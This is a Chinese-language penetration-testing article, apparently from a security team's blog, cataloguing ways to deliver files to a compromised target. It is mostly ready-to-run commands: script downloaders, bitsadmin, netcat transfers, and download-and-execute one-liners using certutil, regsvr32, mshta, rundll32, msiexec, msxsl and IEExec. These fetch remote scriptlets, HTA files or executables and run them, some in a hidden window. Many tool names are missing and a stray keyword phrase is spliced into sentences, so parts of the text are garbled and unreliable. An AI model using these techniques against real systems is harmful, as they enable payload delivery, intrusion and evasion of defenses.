在我們的滲透過程中,通常會需要向目標主機傳送一些文件,來達到提權,維持控制等目的。
File
是一種原生的腳本語言php下載文件到本地,對于熟練使用它的人來說,可以實現很多復雜的功能。在 2003之中默認支持這種腳本。下面這兩條指令實現了從網絡下載一個文件。
$p = New-Object System.Net.WebClient
$p.DownloadFile("http://domain/file" "C:\%homepath%\file")
下面這條指令是執行一個文件
PS C:\> .\test.ps1
有的時候的執行權限會被關閉,需要使用如下的語句打開。
C:\>powershell set-executionpolicy unrestricted
Basic File 在1998年 Basic最終標準在上確定。下面的代碼可以實現下載文件,雖然它的長度比長多了。
Set args = Wscript.Arguments
Url = "http://domain/file"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\%homepath%\file", 2 '
end with
在中指令可以允許你執行VBS腳本文件或者對腳本做一些設置。在 7中這個指令并不是必須要用到。但是在 XP中需要使用這條指令,如下所示。
C:>cscript test.vbs
以下四種語言都不是系統原生腳本,但是如果你的目標機器安裝了這些語言,你就可以使用他們來下載文件。
Perl File
Perl是一門很吊的語言,使用它基本可以實現任何事情,用它實現文件下載也很簡單。
#!perl
#!/usr/bin/perl
use LWP::Simple;
getstore("http://domain/file", "file");
執行腳本文件是這樣
root@kali:~# perl test.pl
File
也是很受歡迎的主流腳本語言,代碼清晰且簡潔。
import urllib2
u = urllib2.urlopen('http://domain/file')
localFile = open('local_file', 'w')
localFile.write(u.read())
localFile.close()
執行腳本文件是這樣
root@kali:~# python test.py
Ruby File
Ruby是一個面對對象的語言,框架就是用它來實現的,當然他也可以實現像下載文件這樣的小任務。
#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.domain.com") { |http|
r = http.get("/file")
open("save_location", "wb") { |file|
file.write(r.body)
}
}
執行腳本文件是這樣
root@kali:~# ruby test.rb
PHP File
PHP作為一種服務端腳本,也可以實現下載文件這種功能。
#!/usr/bin/php
$data = @file("http://example.com/file");
$lf = "local_file";
$fh = fopen($lf, 'w');
fwrite($fh, $data[0]);
fclose($fh);
執行腳本文件是這樣
root@kali:~# php test.php
下面的上傳文件的方法,可能需要更多步驟,但是有些情況下卻可以繞過去多限制。
FTP File 一般情況下攻擊者使用FTP上傳文件需要很多交互的步驟,下面這個 bash腳本,考慮到了交互的情況php下載文件到本地,可以直接執行并不會產生交互動作。
ftp 127.0.0.1
username
password
get file
exit
TFTP File
在 Vista以及以后的版本中默認有FTP,可以使用以下命令運行:
tftp -i host GET C:\%homepath%\file location_of_file_on_tftp_server
File
是命令行工具,用戶可以使用它來創建下載或上傳的任務。
bitsadmin /transfer n http://domain/file c:\%homepath%\file
Wget File
Wget是Linux和下的一個工具,允許非交互下載。
wget http://example.com/file
File
在linux上的實例:攻擊者的電腦上輸入:
cat file | nc -l 1234
這個命令會將file的內容輸出到本地的1234端口中,然后不論誰連接此端口,file的內容將會發送到連接過來的IP。目標電腦上的命令:
nc host_ip 1234 > file
這條命令將連接攻擊者的電腦,接受file內容保存。
Share File
可以加載一個驅動器,然后用命令來復制文件。
加載遠程驅動:
net use x: \\127.0.0.1\share /user:example.com\userID myPassword
Box File
如果你有權限接入一臺(遠程連接或者物理機)電腦,但是你用戶權限不允許打開瀏覽器,這種方式可以讓你快速的從一個URL或者UNC路徑當中下載文件。
打開
點擊file - open
在File Name當中輸入完整的URL:
將會獲取URL的內容展現出來。
Exe to Txt, and Txt to Exe with and
當需要把一個exe文件放到目標計算機上時,這可能是我最喜歡的工具,使用允許你把一個exe轉換成hex,然后把hex再轉換成原來的exe文件。把exe轉成hex文件輸入:
PS > .\ExetoText.ps1 evil.exe evil.txt
打開evil.txt文件,復制內容,然后通過RDP的剪貼板復制進目標計算機。把hex文件還原成exe文件輸入:
PS > .\TexttoExe.ps1 evil.text evil.exe
Csc.exe to from a File
C#編譯器(CSC)是包含在微軟.NET安裝中的命令行編譯器。
這個可執行文件的默認位置是以下情況:
C:\Windows\Microsoft.NET\Framework\version
使用下面的示例代碼,編譯后的可執行文件將使用的cmd.exe來查詢本地用戶,然后將結果寫入一個在C:\Temp\users.txt中。可以修改其中的代碼,達到自己想要的目的,然后編譯成exe文件。
public class Evil
{
public static void Main()
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = "/C net users > C:\\Temp\\users.txt";
process.StartInfo = startInfo;
process.Start();
}
}
代碼編譯命令:
csc.exe /out:C:\evil\evil.exe C:\evil\evil.cs
.exe是一個命令行程序,作為證書服務的一部分安裝??梢允褂?exe轉儲和顯示證書頒發機構(CA)配置信息,配置證書服務,備份和還原CA組件,以及驗證證書,密鑰對和證書鏈。
文件下載并執行如下:
certutil -urlcache -split -f http://site.com/a a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete
命令用于注冊COM組件,是 系統提供的用來向系統注冊控件或者卸載控件的命令,以命令行方式運行。WinXP及以上系統的.exe在\文件夾下;2000系統的.exe在winnt\文件夾下。
regsvr32 /u /s /i:http://site.com/js.png scrobj.dll
js.png
<scriptlet>
<registration
progid="ShortJSRAT"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
ps = "cmd.exe /c calc.exe";
new ActiveXObject("WScript.Shell").Run(ps,0,true);
]]>
script>
registration>
scriptlet>
.vbs
在 7以上版本存在一個名為.vbs的微軟已簽名WSH腳本,其位于C:\\\ts\en-US,仔細觀察該腳本可以發現其顯然是由用戶提供輸入(通過命令行參數),之后再將參數傳遞給()
也就是說我們可以運行該腳本,然后按照預期將這2個參數傳遞出去。第一個參數是啥無所謂,第二個參數則是通過: 構造的注意:如果你在第一個參數中提供了一個非網絡地址的值(因為其預期是一個服務器名稱),你可以加上/b切換到.exe
cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%
mshta
mshta http://site.com/calc.hta
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
calc.hta
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
script>
<body>
demo
body>
HEAD>
HTML>
msiexec /q /i http://site.com/payloads/calc.png
calc.png
msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png
msxsl.exe(需下載)eg:
msxsl https://evi1cg.github.io/scripts/demo.xml https://evi1cg.github.io/scripts/exec.xsl
demo.xml
<customers>
<customer>
<name>Microsoftname>
customer>
customers>
exec.xsl
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");
return nodelist.nextNode().xml;
}
msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
xsl:template>
xsl:stylesheet>
:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\> caspol -s off
C:\Windows\Microsoft.NET\Framework\v2.0.50727\> IEExec http://site.com/files/test64.exe
當然除了列舉的這23種方法以外還有許多其它的辦法來上傳文件。希望這篇文章對大家有幫助!
參考
購買鏈接:
安全實驗室
專注于普及網絡安全知識。團隊已出版《Web安全攻防:滲透測試實戰指南》,預計2019年10月出版《內網安全攻防:滲透測試實戰指南》,12月出版《CTF競賽秘笈-入門篇》,目前在編滲透測試,JAVA代碼審計和APT方面的書籍。
團隊公眾號定期分享關于CTF靶場、內網滲透、APT方面技術干貨,從零開始、以實戰落地為主,致力于做一個實用的干貨分享型公眾號。
官方網站: